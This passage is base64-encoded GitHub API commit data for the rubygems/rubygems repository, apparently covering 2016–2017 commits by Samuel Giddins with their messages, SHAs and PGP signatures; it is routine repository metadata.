191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiOTZhNjliYTVhNmYzYjliMGZlOWQ1NDk0MDFkZmJjNWFiZTJiMTQyNCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy85NmE2OWJhNWE2ZjNiOWIwZmU5ZDU0OTQwMWRmYmM1YWJlMmIxNDI0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0Lzk2YTY5YmE1YTZmM2I5YjBmZTlkNTQ5NDAxZGZiYzVhYmUyYjE0MjQifV19LHsic2hhIjoiMGE2NTliMTQ2MWJiZjgwZTE0OTIzY2JiOTQ2ZjU2M2ZmZDlmYzYzNCIsIm5vZGVfaWQiOiJNRFk2UTI5dGJXbDBOakUwTURjd09qQmhOalU1WWpFME5qRmlZbVk0TUdVeE5Ea3lNMk5pWWprME5tWTFOak5tWm1RNVptTTJNelE9IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNy0wMS0xNVQyMDowNDo0M1oifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTAxLTE1VDIwOjA0OjQzWiJ9LCJtZXNzYWdlIjoiVXBkYXRlIEJ1bmRsZXIgdG8gdjEuMTQuMC5wcmUuMiIsInRyZWUiOnsic2hhIjoiYTlhMmUyOTY1NTk3OWM2MTc1MmZkNDkyZmIxNWFmZjU0NWQ4ZjIxMSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2E5YTJlMjk2NTU5NzljNjE3NTJmZDQ5MmZiMTVhZmY1NDVkOGYyMTEifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy8wYTY1OWIxNDYxYmJmODBlMTQ5MjNjYmI5NDZmNTYzZmZkOWZjNjM0IiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5WZXJzaW9uOiBHbnVQRyB2MVxuXG5pUUljQkFBQkFnQUdCUUpZZTlYYkFBb0pFQUVaVzdNVjNhaFdzSG9RQUpBcnU4djl4RzdXVXo4TlRoT1dpQmJBXG5tMzhsMm9qcHZKdk1PMENTV0dJR2NEcHFMcjhrZE9XdWtTV1pHbmR0SUpiKzdldVFPdzV2c0ttTUkvY092cDZXXG5oQno0MGFwMTJJbWd5eG5QVFJFWFhJVlkwdEpQa2VHT2x5TjFEcXp4NmFGelpOSWNLdGxteFI4M1F3Q1lVaTIzXG5QWUNKWkZnZ0VnNDRHaGFqZjBNK3VSMmlDZ3FBSExiSWxWS3kwM3JEbG5WNWZzWG5wYmxpbU0xUVlaM3dmZkN6XG5BYkRCdisxMXNjYnd1dWdRaGVXc0dKY0swNEVHNDEycXJZdlFIYmxTU09lZTErVVUyb0htWWpCbHgyRE8zdHlkXG5MYjl1dzBTVVBaNFhEcHU2WVJFakJwQXd0bmRISHpFd0lORitzcitiUnNkczFtays0TWtIaC9rMktydGZuYTBDXG5tVTVSUURaMXB5ZzNpZ2UrbUdDVzUrZGkxaFM2VmVBVTAzVTlnaCt1Zk9DNmczZWpJV1QrMHM5R21YbXFRZ0lPXG4xMStxS2IzdkM5RVU3S0dZYnBPTmxmNU5LbVhHR2JsY2pSWDRja3k3RWJkQ29NMG9PTCtPb2xLWXpOcXllZksxXG53Rm1nTzZyejkrV3hHUHUrK3BQSmNiMmNJY0hIc3NKN1VhQUN5N2l2TnVpTG1wbkZDZDl6dHRVZGlkR0dUMGh6XG5sR3d4eTkyRUpkMEk4VVNsdFh4MXFXMHZNOGtTcG1YNVJpWnF4djc5THlwZ0hhamFFNDNHM2NjVUF6NjZvdEZhXG5LdmErVGVYMHNYMllYZit2cTR6NldPOHc1VkNYMVh0Mm9SRnFtMzl3eHlaUlBKbHBvMFpSNzlhY3dQdzQyM1p5XG5qR0xESVA5QTJ5ZU5UV251MWg4K1xuPU5HTnNcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIGE5YTJlMjk2NTU5NzljNjE3NTJmZDQ5MmZiMTVhZmY1NDVkOGYyMTFcbnBhcmVudCBjMWFmZjI3NzlkYjYxYjY3ZWVhMGJiMzgzNDI5MDZiMjNhZmNmMWZlXG5hdXRob3IgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE0ODQ1MTA2ODMgLTA2MDBcbmNvbW1pdHRlciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTQ4NDUxMDY4MyAtMDYwMFxuXG5VcGRhdGUgQnVuZGxlciB0byB2MS4xNC4wLnByZS4yXG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8wYTY1OWIxNDYxYmJmODBlMTQ5MjNjYmI5NDZmNTYzZmZkOWZjNjM0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzBhNjU5YjE0NjFiYmY4MGUxNDkyM2NiYjk0NmY1NjNmZmQ5ZmM2MzQiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMGE2NTliMTQ2MWJiZjgwZTE0OTIzY2JiOTQ2ZjU2M2ZmZDlmYzYzNC9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJub2RlX2lkIjoiTURRNlZYTmxjakU1TkRZMk1UQT0iLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwibm9kZV9pZCI6Ik1EUTZWWE5sY2pFNU5EWTJNVEE9IiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiYzFhZmYyNzc5ZGI2MWI2N2VlYTBiYjM4MzQyOTA2YjIzYWZjZjFmZSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9jMWFmZjI3NzlkYjYxYjY3ZWVhMGJiMzgzNDI5MDZiMjNhZmNmMWZlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2MxYWZmMjc3OWRiNjFiNjdlZWEwYmIzODM0MjkwNmIyM2FmY2YxZmUifV19LHsic2hhIjoiYzFhZmYyNzc5ZGI2MWI2N2VlYTBiYjM4MzQyOTA2YjIzYWZjZjFmZSIsIm5vZGVfaWQiOiJNRFk2UTI5dGJXbDBOakUwTURjd09tTXhZV1ptTWpjM09XUmlOakZpTmpkbFpXRXdZbUl6T0RNME1qa3dObUl5TTJGbVkyWXhabVU9IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNy0wMS0wN1QwMDowNToyOFoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTAxLTA3VDAwOjA1OjI4WiJ9LCJtZXNzYWdlIjoiVXBkYXRlIHZlbmRvcmVkIE1vbGluaWxsbyB0byAwLjUuNSIsInRyZWUiOnsic2hhIjoiZTYzYjExMTAyMDUzMWI4Y2FiNjFmZmFhYWRhY2YzYjBiMTdhNzcxNyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2U2M2IxMTEwMjA1MzFiOGNhYjYxZmZhYWFkYWNmM2IwYjE3YTc3MTcifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy9jMWFmZjI3NzlkYjYxYjY3ZWVhMGJiMzgzNDI5MDZiMjNhZmNmMWZlIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5WZXJzaW9uOiBHbnVQRyB2MVxuXG5pUUljQkFBQkFnQUdCUUpZY0RESUFBb0pFQUVaVzdNVjNhaFcxQVVQLzJtd2tHNXpSYTUrWUpYTFJaR0Z6MlhiXG5DNEI0Q2FSWTQrSExJd3dQSFVRQ2w2dUhaWEV5dXcvNkJXTjNHenFsUmZJbUNuMDJTc2xxMUJVdFF5eldOVjlZXG5CekxBaGY4c2Y0WDlWUmVncEdpRllzMno3bTBQUkdIZXl0ZHo4K3d4RzhoMFhsSFNyMDBpbjNqRWlzWU1OeEUrXG5wajA1c3VLUVdKRXlGV08rTTRLa3hMQ0FLLytMZkNUcy9kamhidDdrNzNGZndKcDZ4a0NrQWMxK0NCTXhzcnJGXG4xR3ZLS3p0MkoxUENuaGVNWjRpekFXclNCUnFFK09waWJ0dkdmSzVIR1ZIdEJGQkcvaUdIUFAyYnM0NVJWZHhGXG5jcDdGdVpnRi9FcUxSMHFFUXlrbFRQSy9lRnRzNldPZldJUk9xcDFFQjNtK2VGREtOcHV6SHBkRGw0SDlrVlNQXG5kczlDOUhidEhuMjJVb2V3THNvb2l3S1o3UXAyZGxaWExneEFaWGtsNi96eUd6TG5YODRRUk5MZVphNjh2M1pVXG5tYUlpRzZZazVWMDdWUlBTOFZPa05xQzk4eE11OHdHZUkrWmIvVzFVM1JVTEIxYkhWaFQydzd6YUpsdHp4amxkXG41NEJNU1FVWTJVdkJ6ZnQxSTBWL00vUlk3clZtZWlmYm54endNUlI0UGQwbHZPQW9BQmtIcEtOU3p3NnFTSmcrXG5BVVFsbHI5UndVVWpXTGU3cy9oV0VWKzNXZWN2cTFJRkhYOXRXY1lvWEo1M1d0ZjNGbFgyM2hSeTFzaWs5dG5TXG5qd0V2RVlIOFNmOXFyRkZIYkpHbmhFZURoWExqV0xwWVhRZTBHdVRXUTZJZmRjUk5WWEs0UUdNaFh2VDlhYnRmXG55L3k5QUROUXcrK1liN21jZjVGOFxuPWFFaWJcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIGU2M2IxMTEwMjA1MzFiOGNhYjYxZmZhYWFkYWNmM2IwYjE3YTc3MTdcbnBhcmVudCA1NjY3YzVjZjdjYjY0YmZmZTY0M2RmMzQyMDA4ODkyZjI3MzllNDM5XG5hdXRob3IgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE0ODM3NDc1MjggLTA2MDBcbmNvbW1pdHRlciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTQ4Mzc0NzUyOCAtMDYwMFxuXG5VcGRhdGUgdmVuZG9yZWQgTW9saW5pbGxvIHRvIDAuNS41XG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9jMWFmZjI3NzlkYjYxYjY3ZWVhMGJiMzgzNDI5MDZiMjNhZmNmMWZlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2MxYWZmMjc3OWRiNjFiNjdlZWEwYmIzODM0MjkwNmIyM2FmY2YxZmUiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvYzFhZmYyNzc5ZGI2MWI2N2VlYTBiYjM4MzQyOTA2YjIzYWZjZjFmZS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJub2RlX2lkIjoiTURRNlZYTmxjakU1TkRZMk1UQT0iLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwibm9kZV9pZCI6Ik1EUTZWWE5sY2pFNU5EWTJNVEE9IiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiNTY2N2M1Y2Y3Y2I2NGJmZmU2NDNkZjM0MjAwODg5MmYyNzM5ZTQzOSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy81NjY3YzVjZjdjYjY0YmZmZTY0M2RmMzQyMDA4ODkyZjI3MzllNDM5IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzU2NjdjNWNmN2NiNjRiZmZlNjQzZGYzNDIwMDg4OTJmMjczOWU0MzkifV19LHsic2hhIjoiZGQyZmFlOGIwOWZiMjVhOTQ1M2JhYmFkOWFjMDc1YTEyNDI3NTU4NSIsIm5vZGVfaWQiOiJNRFk2UTI5dGJXbDBOakUwTURjd09tUmtNbVpoWlRoaU1EbG1ZakkxWVRrME5UTmlZV0poWkRsaFl6QTNOV0V4TWpReU56VTFPRFU9IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNi0xMi0yNVQxNjo1NDo1M1oifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE2LTEyLTI1VDE3OjM5OjAwWiJ9LCJtZXNzYWdlIjoiW1RyYXZpc10gVGlnaHRlbiB1cCBtYXRjaGluZyBmb3Igc3RhYmxlIGJyYW5jaGVzIiwidHJlZSI6eyJzaGEiOiIyNjEyMjg2MGNkYzM0NmUxNTQ3MzU1Y2I3NWQ2NTE2NzEwOTEzYjAzIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvMjYxMjI4NjBjZGMzNDZlMTU0NzM1NWNiNzVkNjUxNjcxMDkxM2IwMyJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2RkMmZhZThiMDlmYjI1YTk0NTNiYWJhZDlhYzA3NWExMjQyNzU1ODUiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblZlcnNpb246IEdudVBHIHYxXG5cbmlRSWNCQUFCQWdBR0JRSllZQVEwQUFvSkVBRVpXN01WM2FoV3VnWVAvM2dtSCtuZWp2bmNiUk9weE41UmZnNVNcblkrVWd2V3lHY3EwMkVvMERQbXBXUi9COXNUZ2l3RUYzWFlYYkFWbWJXdThjbGh0cFlrNjNJVDZtWTBpOWNmN2hcbnZBTWdDdHBiODNTbHc5YjJxWmVWSzlHeGh0bUJDS1REOTVZRzZRd25Ibi9Ha1BtVFY3MFBWTmxJNUU4NGtWVHRcbis5MHhRalYrSVM4WTBIUVFpY3JQRGYxS05yZEpFVU5vWWVRYndHdDBtUElJK2g5V3Z1TVMrUld5ZkNlRVR2VHdcbmlvS3NxbkwyRFJGU2RUdHpIU0d3WUs1NTdtajNlMGNCTDJnSEp6ZktERExBcHdhbTBGS0hXRDY5aFN0SWw0YXJcbkxnVitoL200T1pIZkhuQitrZUVteERLQ0ZMeTRySEIrQkYycVFyTkxGRVhxSE1DSndSaWtJeWtia1pxTGNwejdcbm5nZko0YmFOVmlXcUJjMnFpSDR4ZG41M2J3NnJweVhja3o2eWVjUklYQ3daY29uV1U4ZjZFemVYbUl0bVU4TVdcbnZxMEl6ZUJWckxLL0U4cVh5S2JKTzRwMFQwSHF2NEZnMjdKNW52bXZQVmNaQkpRbUNqb08zdUdxSWdQSERUSThcbkovSVhDQmo5T2U5cC9oaXJFNTFGK3IyWGlHMkdQMjlwSnBDeC9tNTQ2Z01obitES0VJYnRvOXNITWtTYS9MaDFcbnhCZzZjYWpBUzhOSDduK0RhRW5jUUF2N3FFWlRTWnRNWW1meFFBK1VTT3RuNkJBTUFoWlN3RHR3Vld6SGlUa2dcbktmMXJhUS95NGJFdGVmMWFUek5YVG1vOFBmZG13WVo4REV1YVpsZlRVclZsamlDTDQwaGdsQ1Fpa3c2akN4SDNcblZyeWYrY0grQUMxMXJXYmxTN2hoXG49dCs4ZVxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgMjYxMjI4NjBjZGMzNDZlMTU0NzM1NWNiNzVkNjUxNjcxMDkxM2IwM1xucGFyZW50IGRiMzgwYzBjOGJkNmU4MmE3ZGVmOGQ2OWQ0MGYxMWE5NjgyNDBiZTdcbmF1dGhvciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTQ4MjY4NDg5MyAtMDYwMFxuY29tbWl0dGVyIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNDgyNjg3NTQwIC0wNjAwXG5cbltUcmF2aXNdIFRpZ2h0ZW4gdXAgbWF0Y2hpbmcgZm9yIHN0YWJsZSBicmFuY2hlc1xuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZGQyZmFlOGIwOWZiMjVhOTQ1M2JhYmFkOWFjMDc1YTEyNDI3NTU4NSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kZDJmYWU4YjA5ZmIyNWE5NDUzYmFiYWQ5YWMwNzVhMTI0Mjc1NTg1IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2RkMmZhZThiMDlmYjI1YTk0NTNiYWJhZDlhYzA3NWExMjQyNzU1ODUvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwibm9kZV9pZCI6Ik1EUTZWWE5sY2pFNU5EWTJNVEE9IiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRw